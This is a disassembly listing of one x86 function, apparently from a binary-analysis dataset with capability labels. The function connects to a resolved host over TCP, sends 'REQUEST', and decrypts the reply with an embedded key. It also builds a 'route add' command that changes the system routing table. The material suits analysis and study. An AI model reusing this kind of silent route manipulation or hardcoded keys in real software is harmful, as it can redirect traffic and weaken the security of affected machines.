Function at 0x425bf0
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x3d8
mov eax, dword [0x542c54]
xor eax, esp
mov dword [esp + 0x3d4], eax
mov eax, dword [esp + 0x3e8]
push ebx
mov ebx, dword [esp + 0x3e0]
push ebp
push esi
mov esi, dword [esp + 0x3fc]
push edi
mov edi, dword [esp + 0x3fc]
mov ebp, ecx
mov ecx, dword [esp + 0x3f4]
push 0
push 0x4f4b88
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x24], ebx
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], eax
mov dword [esp + 0x30], esi
mov byte [esp + 0x1b], 0
mov byte [esp + 0x1a], 0
mov byte [esp + 0x23], 0
call fcn.00403330
test edi, edi
jne 0x425c64
test esi, esi
je 0x425c9c
lea ecx, [esp + 0x1b]
push ecx
lea edx, [esp + 0x16]
push edx
mov ecx, ebp
mov byte [esp + 0x1b], 1
call fcn.00425b50
cmp byte [esp + 0x12], 0
je 0x425c94
cmp byte [esp + 0x1b], 0
je 0x426141
test esi, esi
je 0x426141
test edi, edi
je 0x426141
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x426141
push ebx
lea eax, [esp + 0x168]
push 0x80
push eax
call fcn.004cc266
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 0xc
call ebp
mov ebx, dword [sym.imp.WS2_32.dll_inet_addr]
lea ecx, [esp + 0x164]
push ecx
mov dword [esp + 0x34], eax
call ebx
cmp eax, 0xffffffff
je 0x425cf0
mov dword [esp + 0x2c], eax
jmp 0x425d1e
lea edx, [esp + 0x164]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x42613a
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
push ecx
push eax
lea ecx, [esp + 0x34]
push ecx
call fcn.004cee70
add esp, 0xc
call ebp
sub eax, dword [esp + 0x30]
cmp eax, 0x3de
jg 0x42613a
mov ebp, dword [sym.imp.WS2_32.dll_htons]
test edi, edi
jne 0x425d44
cmp dword [esp + 0x28], 0
je 0x425dfa
cmp byte [esp + 0x12], 0
je 0x425d82
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x1c]
push edx
push eax
push str.__c__route_add__s_mask_255.255.255.255__s_metric_25_
lea ecx, [esp + 0x2f0]
push 0x100
push ecx
call fcn.004cd853
mov ecx, dword [esp + 0x28]
add esp, 0x14
lea edx, [esp + 0x2e4]
push edx
call fcn.00425930
jmp 0x425dfa
push edi
lea eax, [esp + 0x168]
push 0x80
push eax
call fcn.004cc266
xor eax, eax
add esp, 0xc
lea edx, [esp + 0x164]
mov ecx, 2
mov dword [esp + 0x144], eax
push edx
mov dword [esp + 0x14c], eax
mov dword [esp + 0x150], eax
mov dword [esp + 0x154], eax
mov word [esp + 0x148], cx
call ebx
push 0
mov dword [esp + 0x14c], eax
call ebp
mov word [esp + 0x146], ax
push 0x10
lea eax, [esp + 0x148]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x42613a
mov ebx, dword [esp + 0x30]
add ebx, 0x3de
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, ebx
sub edi, eax
test edi, edi
jle 0x42613a
lea ecx, [esp + 0x34]
push ecx
push 0x8004667e
push esi
mov dword [esp + 0x40], 1
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov ecx, dword [esp + 0x3f0]
mov eax, dword [esp + 0x2c]
mov edx, 2
push ecx
mov word [esp + 0x158], dx
mov dword [esp + 0x15c], eax
call ebp
push 0x10
lea edx, [esp + 0x158]
mov word [esp + 0x15a], ax
xor eax, eax
push edx
push esi
mov dword [esp + 0x168], eax
mov dword [esp + 0x16c], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x425ebc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x425ebc
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [esp + 0x13], 0
je 0x426141
cmp byte [esp + 0x12], 0
je 0x426141
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
push eax
call fcn.00425af0
jmp 0x426141
xor eax, eax
imul edi, edi, 0x3e8
lea ecx, [esp + 0x20]
push ecx
push eax
lea edx, [esp + 0x48]
push edx
mov dword [esp + 0x30], eax
push eax
mov dword [esp + 0x34], edi
mov edi, dword [sym.imp.WS2_32.dll_select]
mov ebp, 1
push eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x54], ebp
mov dword [esp + 0x58], esi
call edi
test eax, eax
je 0x425f32
cmp eax, 0xffffffff
je 0x425f32
mov eax, str.REQUEST
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x425f03
push 0
sub eax, edx
push eax
push str.REQUEST
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x425e8c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub ebx, eax
mov eax, ebx
test eax, eax
jg 0x425f62
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [esp + 0x13], 0
je 0x426141
cmp byte [esp + 0x12], 0
je 0x426141
mov ecx, dword [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
call fcn.00425af0
jmp 0x426141
imul eax, eax, 0x3e8
xor ecx, ecx
lea edx, [esp + 0x20]
push edx
push ecx
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x2c], eax
push ecx
lea eax, [esp + 0x4c]
push eax
push ecx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x54], ebp
mov dword [esp + 0x58], esi
call edi
test eax, eax
je 0x425e8c
cmp eax, 0xffffffff
je 0x425e8c
push 0x100
lea ecx, [esp + 0x1e8]
push 0
push ecx
call fcn.004cb5a0
add esp, 0xc
push 0
push 0xff
lea edx, [esp + 0x1ec]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [esp + 0x38]
mov edi, eax
lea eax, [esp + 0x1e4]
push eax
call fcn.00403800
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
test edi, edi
jle 0x425f39
cmp byte [esp + 0x13], 0
je 0x426009
cmp byte [esp + 0x12], 0
je 0x426009
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
push edx
call fcn.00425af0
push edi
lea eax, [esp + 0x2e8]
push eax
lea ecx, [esp + 0x1ec]
push ecx
call fcn.004145b0
lea edx, [esp + 0x20]
push edx
push eax
lea eax, [esp + 0x2f8]
push str.99A3T5K2DRU23W30
push eax
call fcn.00429e50
mov ecx, dword [esp + 0x30]
push ecx
push str.pPlainText_recv__s___n
call fcn.004cb644
mov ecx, dword [esp + 0x38]
add esp, 0x24
test ecx, ecx
jbe 0x426125
mov eax, ecx
lea esi, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x426060
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, esi
push eax
push ecx
push 0
push 0xfde9
call ebx
mov edi, eax
push edi
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
lea edx, [edi + edi + 2]
push edx
mov esi, eax
push 0
push esi
call fcn.004cb5a0
mov ebp, dword [esp + 0x20]
mov eax, ebp
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4260a4
push edi
push esi
sub eax, ecx
push eax
push ebp
push 0
push 0
call ebx
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebp, eax
lea ebx, [ebp + 1]
push ebx
call fcn.004cd70c
push ebx
mov edi, eax
push 0
push edi
call fcn.004cb5a0
add esp, 0x10
push 0
push 0
push ebp
push edi
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push edi
lea eax, [esp + 0x1e8]
push 0x100
push eax
call fcn.004cc266
push edi
call fcn.004cd871
mov ecx, dword [esp + 0x24]
push ecx
call fcn.00427390
add esp, 0x14
mov ecx, dword [esp + 0x3c]
lea edx, [esp + 0x1e4]
push edx
call fcn.00403800
mov al, 1
jmp 0x426143
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
mov ecx, dword [esp + 0x3e4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004cb553
add esp, 0x3d8
ret 0x18